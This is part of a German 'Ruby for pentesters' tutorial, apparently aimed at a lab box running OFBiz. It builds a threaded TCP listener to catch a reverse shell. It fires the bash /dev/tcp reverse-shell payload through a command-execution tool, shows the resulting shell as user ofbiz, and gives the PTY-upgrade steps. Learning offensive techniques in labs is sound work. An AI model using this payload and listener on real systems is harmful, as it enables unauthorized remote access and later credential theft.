// Ruby für Pentester · Teil 4

Eine Shell fangen

Reflektierte Ausgabe ist umständlich. Wir schreiben unseren eigenen TCP-Listener in Ruby, um eine interaktive Reverse-Shell zu fangen — und lernen dabei Sockets und Threads.

RubyReverse ShellSocketsThreads
5 Min. Lesezeit

Teil 3’s run führt ein Kommando aus und gibt eine Seite zurück, die du greppen musst. Für echte Arbeit willst du eine Shell — eine interaktive Sitzung auf der Box. Der Zug ist eine Reverse-Shell: wir sagen dem Ziel, es soll sich zurück zu uns verbinden, und wir fangen diese Verbindung mit einem Listener. Du hast dafür wahrscheinlich nc -lvnp benutzt. Wir schreiben unseren eigenen in etwa zehn Zeilen Ruby, denn das lehrt zwei Dinge, die du für immer brauchst: Sockets und Threads.

Ein Socket-Listener

Rubys socket-Bibliothek hat eine Server-Klasse. Öffne einen Port und warte:

require 'socket'

server = TCPServer.new('0.0.0.0', 4444)
puts '[*] Listening on 4444...'
conn = server.accept
puts "[+] Shell from #{conn.peeraddr[3]}"
  • TCPServer.new(host, port) bindet einen lauschenden Socket.
  • server.accept blockiert — das Programm hält dort an, bis sich etwas verbindet, und gibt dann ein conn-Objekt (einen Socket) für diese Verbindung zurück.
  • conn.peeraddr[3] ist die verbindende IP, damit wir loggen können, wer aufgetaucht ist.

Das Problem: zwei Richtungen gleichzeitig

Sobald die Shell verbunden ist, fließen Daten in beide Richtungen: die Shell schickt Ausgabe zu uns, und wir schicken Kommandos zu ihr. Schrieben wir nur eine Schleife — conn.readpartial, um die Shell zu lesen —, steckten wir im Lesen fest und könnten nie tippen. Lesen und Schreiben blockieren beide, und ein Programm kann nur in einem blockierenden Aufruf gleichzeitig sitzen.

Die Antwort sind Threads. Ein Thread ist eine zweite Ausführungslinie innerhalb desselben Programms. Wir stecken die „von der Shell lesen”-Schleife in ihren eigenen Thread, damit sie gleichzeitig mit der „von der Tastatur lesen”-Schleife läuft:

# Background thread: everything the shell sends -> our screen.
Thread.new do
  loop { $stdout.write(conn.readpartial(4096)) }
rescue EOFError
  puts "\n[*] Shell closed."
end

# Main thread: everything we type -> the shell.
loop { conn.write($stdin.gets) }
  • Thread.new do ... end startet diesen Block nebenläufig.
  • conn.readpartial(4096) liest bis zu 4096 Bytes, sobald welche ankommen — so erscheinen Shell-Prompts und -Ausgabe sofort (anders als zeilengepufferte Lesevorgänge).
  • Wenn die Shell stirbt, wirft readpartial EOFError; wir fangen ihn und drucken einen Hinweis, statt abzustürzen.
  • Der Haupt-Thread bleibt in $stdin.gets und schickt jede getippte Zeile den Socket hinunter.

Ein Threading-Fallstrick, den man kennen sollte: Ein Hintergrund-Thread, der etwas wirft, das er nicht rescue-t, stirbt still — der Rest des Programms läuft weiter, ahnungslos, und du fragst dich, warum die Ausgabe aufhörte. Während du baust, schalte dieses Verhalten so um, dass der Absturz eines Threads das ganze Programm laut mit herunterreißt:

Thread.abort_on_exception = true

Unser Lese-Thread rescue-t seinen erwarteten EOFError, aber alles Unerwartete würde sonst verschwinden; das macht es sichtbar.

Auslösen

Starte den Listener, dann — aus dem Werkzeug von Teil 3, in einem anderen Terminal — feuere den klassischen bash-Reverse-Shell-Payload durch run und richte ihn auf deine IP:

LHOST = '10.10.14.5'
run("bash -i >& /dev/tcp/#{LHOST}/4444 0>&1")

bash -i ist eine interaktive Shell; >& /dev/tcp/<ip>/<port> leitet ihre Ein- und Ausgabe auf eine TCP-Verbindung zurück zu dir um. Das accept deines Listeners kehrt zurück, und du bist drin:

$ ruby listener.rb
[*] Listening on 4444...
[+] Shell from 10.10.11.252
id
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)

Das ist ein lebendiger, interaktiver Zugang als ofbiz — und du hältst ihn mit einem Listener, den du selbst geschrieben hast.

Die Shell benutzbar machen

Diese rohe Shell hat keine Job-Kontrolle, keine Tab-Vervollständigung, keine Pfeiltasten, und ein einziges verirrtes Ctrl-C killt sie. Bevor du echte Arbeit machst, rüste sie zu einem vollen PTY auf. Das ist kein Ruby — es ist der Standard-Post-Exploitation-Tanz, und du wirst ihn jedes Mal laufen lassen, wenn du eine Shell fängst:

ofbiz@bizness:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ofbiz@bizness:/$ ^Z
$ stty raw -echo; fg
$ export TERM=xterm
  • pty.spawn startet bash unter einem echten Pseudo-Terminal neu, sodass Programme, die ein TTY erwarten (sudo, ssh, Texteditoren), sich richtig verhalten.
  • Ctrl-Z schickt die Shell in den Hintergrund deines lokalen Terminals; stty raw -echo; fg reicht deine Tastenanschläge unverändert durch und setzt sie fort; TERM=xterm verschafft dir eine funktionierende Bildschirmgröße und ein Clear.

Jetzt fühlt es sich wie ein normales Terminal an — was in dem Moment zählt, in dem du mit dem Eskalieren beginnst.

Der Listener, vollständig

#!/usr/bin/env ruby
require 'socket'

server = TCPServer.new('0.0.0.0', 4444)
puts '[*] Listening on 4444...'
conn = server.accept
puts "[+] Shell from #{conn.peeraddr[3]}"

Thread.new do
  loop { $stdout.write(conn.readpartial(4096)) }
rescue EOFError
  puts "\n[*] Shell closed."
end

loop { conn.write($stdin.gets) }

Erkenntnisse

  • Die socket-Bibliothek gibt dir rohes TCP: TCPServer.new zum Lauschen, server.accept, um eine Verbindung anzunehmen (es blockiert, bis eine ankommt).
  • readpartial(n) gibt Bytes zurück, sobald sie ankommen — richtig für interaktive Streams; es wirft EOFError am Ende des Streams.
  • Threads (Thread.new do ... end) führen Code nebenläufig aus — die Lösung, wann immer du gleichzeitig lesen und schreiben musst, weil beides blockiert.
  • Eine Reverse-Shell ist nur das Ziel, das einen Socket zurück zu deinem Listener öffnet; bash -i >& /dev/tcp/ip/port 0>&1 ist der Payload.
  • Der unrescue-te Fehler eines Hintergrund-Threads stirbt still; Thread.abort_on_exception = true macht ihn sichtbar, während du baust.
  • Einmal gefangen, rüste die rohe Shell zu einem PTY auf (python3 -c 'import pty; ...'stty raw -echo; fg), damit Job-Kontrolle und interaktive Programme funktionieren.

Übungen

  1. Lies den Lausch-Port von der Kommandozeile: port = (ARGV[0] || 4444).to_i, sodass ruby listener.rb 9001 einen Port wählt und es ohne Argument bei 4444 bleibt.
  2. Gib die Verbindungszeit aus, wenn eine Shell eintrifft, mit Time.now und Interpolation.
  3. Tee die Sitzung: Während der Lese-Thread die Ausgabe der Shell druckt, häng sie auch an eine mit File.open('session.log', 'a') geöffnete Log-Datei an. Alles, was die Box schickt, liegt jetzt auch auf der Platte.

Weiter — Teil 5: Mit einer Shell als ofbiz gehen wir auf Zugangsdaten-Suche — und lernen Regex und Dateiverarbeitung, indem wir OFBiz’ eingebettete Datenbank von der Platte plündern.

← Alle Teile